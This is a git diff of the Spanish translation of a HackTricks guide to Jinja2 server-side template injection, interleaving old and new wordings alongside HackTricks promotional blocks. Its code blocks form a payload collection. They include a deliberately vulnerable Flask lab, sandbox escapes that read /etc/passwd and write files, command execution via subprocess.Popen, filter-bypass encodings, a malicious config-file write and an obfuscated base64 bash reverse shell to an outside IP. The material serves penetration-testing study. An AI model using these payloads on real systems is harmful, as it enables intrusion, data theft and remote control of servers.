Revisa [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
|
||||
Verifica [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
|
||||
|
||||
## Referencias
|
||||
|
||||
|
|
@ -241,9 +230,9 @@ Revisa [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https:/
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
|||
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
## **Laboratorio**
|
||||
## **Lab**
|
||||
```python
|
||||
from flask import Flask, request, render_template_string
|
||||
|
||||
|
|
@ -30,11 +30,11 @@ return "Hello, send someting inside the param 'c'!"
|
|||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
## **Misc**
|
||||
## **Miscelánea**
|
||||
|
||||
### **Declaración de Depuración**
|
||||
|
||||
Si la Extensión de Depuración está habilitada, una etiqueta `debug` estará disponible para volcar el contexto actual así como los filtros y pruebas disponibles. Esto es útil para ver qué está disponible para usar en la plantilla sin configurar un depurador.
|
||||
Si la Extensión de Depuración está habilitada, se dispondrá de una etiqueta `debug` para volcar el contexto actual, así como los filtros y pruebas disponibles. Esto es útil para ver qué está disponible para usar en la plantilla sin configurar un depurador.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
|
@ -43,10 +43,6 @@ Si la Extensión de Depuración está habilitada, una etiqueta `debug` estará d
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **Volcar todas las variables de configuración**
|
||||
|
|
@ -60,20 +56,15 @@ Si la Extensión de Depuración está habilitada, una etiqueta `debug` estará d
|
|||
<dd>{{ value|e }}</dd>
|
||||
{% endfor %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Inyección de Jinja**
|
||||
|
||||
En primer lugar, en una inyección de Jinja necesitas **encontrar una manera de escapar del sandbox** y recuperar el acceso al flujo de ejecución regular de python. Para hacerlo, necesitas **abusar de objetos** que son **del entorno no restringido pero accesibles desde el sandbox**.
|
||||
En primer lugar, en una inyección de Jinja necesitas **encontrar una forma de escapar del sandbox** y recuperar el acceso al flujo de ejecución regular de Python. Para hacerlo, necesitas **abusar de objetos** que son **del entorno no sandboxeado pero son accesibles desde el sandbox**.
|
||||
|
||||
### Accediendo a Objetos Globales
|
||||
|
||||
Por ejemplo, en el código `render_template("hello.html", username=username, email=email)` los objetos username y email **provienen del entorno python no restringido** y serán **accesibles** dentro del **entorno restringido.**\
|
||||
\*\*\*\*Además, hay otros objetos que **siempre serán accesibles desde el entorno restringido**, estos son:
|
||||
Por ejemplo, en el código `render_template("hello.html", username=username, email=email)` los objetos username y email **provienen del entorno de Python no sandboxeado** y serán **accesibles** dentro del **entorno sandbox**.\
|
||||
Además, hay otros objetos que siempre serán **accesibles desde el entorno sandbox**, estos son:
|
||||
```
|
||||
[]
|
||||
''
|
||||
|
|
@ -84,11 +75,11 @@ request
|
|||
```
|
||||
### Recuperando \<class 'object'>
|
||||
|
||||
Luego, a partir de estos objetos necesitamos llegar a la clase: **`<class 'object'>`** para intentar **recuperar** clases **definidas**. Esto se debe a que desde este objeto podemos llamar al método **`__subclasses__`** y **acceder a todas las clases del entorno python no restringido**.
|
||||
Luego, a partir de estos objetos necesitamos llegar a la clase: **`<class 'object'>`** para intentar **recuperar** las **clases** definidas. Esto se debe a que desde este objeto podemos llamar al método **`__subclasses__`** y **acceder a todas las clases del entorno de Python sin sandbox**.
|
||||
|
||||
Para acceder a esa **clase object**, necesitas **acceder a un objeto de clase** y luego acceder a **`__base__`**, **`__mro__()`[-1]** o `.`**`mro()[-1]`**. Y luego, **después** de alcanzar esta **clase object** **llamamos** a **`__subclasses__()`**.
|
||||
Para acceder a esa **clase de objeto**, necesitas **acceder a un objeto de clase** y luego acceder a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. Y luego, **después** de alcanzar esta **clase de objeto**, **llamamos** a **`__subclasses__()`**.
|
||||
|
||||
Revisa estos ejemplos:
|
||||
Verifica estos ejemplos:
|
||||
```python
|
||||
# To access a class object
|
||||
[].__class__
|
||||
|
|
@ -123,21 +114,15 @@ dict.__mro__[-1]
|
|||
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### Escape de RCE
|
||||
### Escapando RCE
|
||||
|
||||
**Habiendo recuperado** `<class 'object'>` y llamado a `__subclasses__` ahora podemos usar esas clases para leer y escribir archivos y ejecutar código.
|
||||
|
||||
La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos de nuevas funciones**, estaremos satisfechos con solo acceder a la **clase de archivo** para **leer/escribir archivos** o cualquier clase con acceso a una clase que **permita ejecutar comandos** (como `os`).
|
||||
La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos de nuevas funciones**, estaremos contentos solo con acceder a la **clase de archivo** para **leer/escribir archivos** o cualquier clase con acceso a una clase que **permite ejecutar comandos** (como `os`).
|
||||
|
||||
**Leer/Escribir archivo remoto**
|
||||
```python
|
||||
|
|
@ -145,7 +130,7 @@ La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos
|
|||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
**RCE**
|
||||
**Ejecución de código remoto (RCE)**
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
|
@ -162,18 +147,18 @@ La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos
|
|||
|
||||
|
||||
```
|
||||
Para aprender sobre **más clases** que puedes usar para **escapar** puedes **verificar**:
|
||||
Para aprender sobre **más clases** que puedes usar para **escapar**, puedes **verificar**:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Omisiones de filtros
|
||||
### Saltos de filtro
|
||||
|
||||
#### Omisiones comunes
|
||||
#### Saltos comunes
|
||||
|
||||
Estas omisiones nos permitirán **acceder** a los **atributos** de los objetos **sin usar algunos caracteres**.\
|
||||
Ya hemos visto algunas de estas omisiones en los ejemplos anteriores, pero resumámoslas aquí:
|
||||
Estos saltos nos permitirán **acceder** a los **atributos** de los objetos **sin usar algunos caracteres**.\
|
||||
Ya hemos visto algunos de estos saltos en los ejemplos anteriores, pero resumámoslos aquí:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
|
@ -198,19 +183,14 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% raw %}
|
||||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**Vuelve aquí para más opciones de acceso a un objeto global**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Vuelve aquí para más opciones de acceso a la clase del objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**Lee esto para obtener RCE sin la clase del objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
* [**Volver aquí para más opciones de acceso a un objeto global**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Volver aquí para más opciones de acceso a la clase de objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**Leer esto para obtener RCE sin la clase de objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
|
||||
**Evitando la codificación HTML**
|
||||
|
||||
Por defecto, Flask codifica en HTML todo el contenido dentro de una plantilla por razones de seguridad:
|
||||
Por defecto, Flask codifica HTML dentro de una plantilla por razones de seguridad:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'}}
|
||||
#will be
|
||||
|
|
@ -222,7 +202,7 @@ Por defecto, Flask codifica en HTML todo el contenido dentro de una plantilla po
|
|||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**Ejecución de código remoto escribiendo un archivo de configuración malicioso.**
|
||||
**RCE al escribir un archivo de configuración malicioso.**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
|
@ -240,17 +220,13 @@ Sin **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% raw %}
|
||||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Inyección Jinja sin **\<class 'object'>**
|
||||
## Inyección de Jinja sin **\<class 'object'>**
|
||||
|
||||
Desde los [**objetos globales**](jinja2-ssti.md#accessing-global-objects) hay otra forma de llegar a **RCE sin usar esa clase.**\
|
||||
Si logras acceder a cualquier **función** de esos objetos globales, podrás acceder a **`__globals__.__builtins__`** y desde allí el **RCE** es muy **sencillo**.
|
||||
Si logras acceder a alguna **función** de esos objetos globales, podrás acceder a **`__globals__.__builtins__`** y desde allí la **RCE** es muy **simple**.
|
||||
|
||||
Puedes **encontrar funciones** en los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con:
|
||||
Puedes **encontrar funciones** de los objetos **`request`**, **`config`** y cualquier otro **objeto global** interesante al que tengas acceso con:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
|
@ -270,7 +246,7 @@ Puedes **encontrar funciones** en los objetos **`request`**, **`config`** y cual
|
|||
|
||||
# You can iterate through children objects to find more
|
||||
```
|
||||
Una vez que hayas encontrado algunas funciones, puedes recuperar las funciones integradas con:
|
||||
Una vez que hayas encontrado algunas funciones, puedes recuperar los builtins con:
|
||||
```python
|
||||
# Read file
|
||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
|
|
@ -294,20 +270,20 @@ Una vez que hayas encontrado algunas funciones, puedes recuperar las funciones i
|
|||
## Referencias
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* Consulta [attr trick para evitar caracteres en la lista negra aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* Consulta el [truco de atributo para evitar caracteres prohibidos aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Reference in a new issue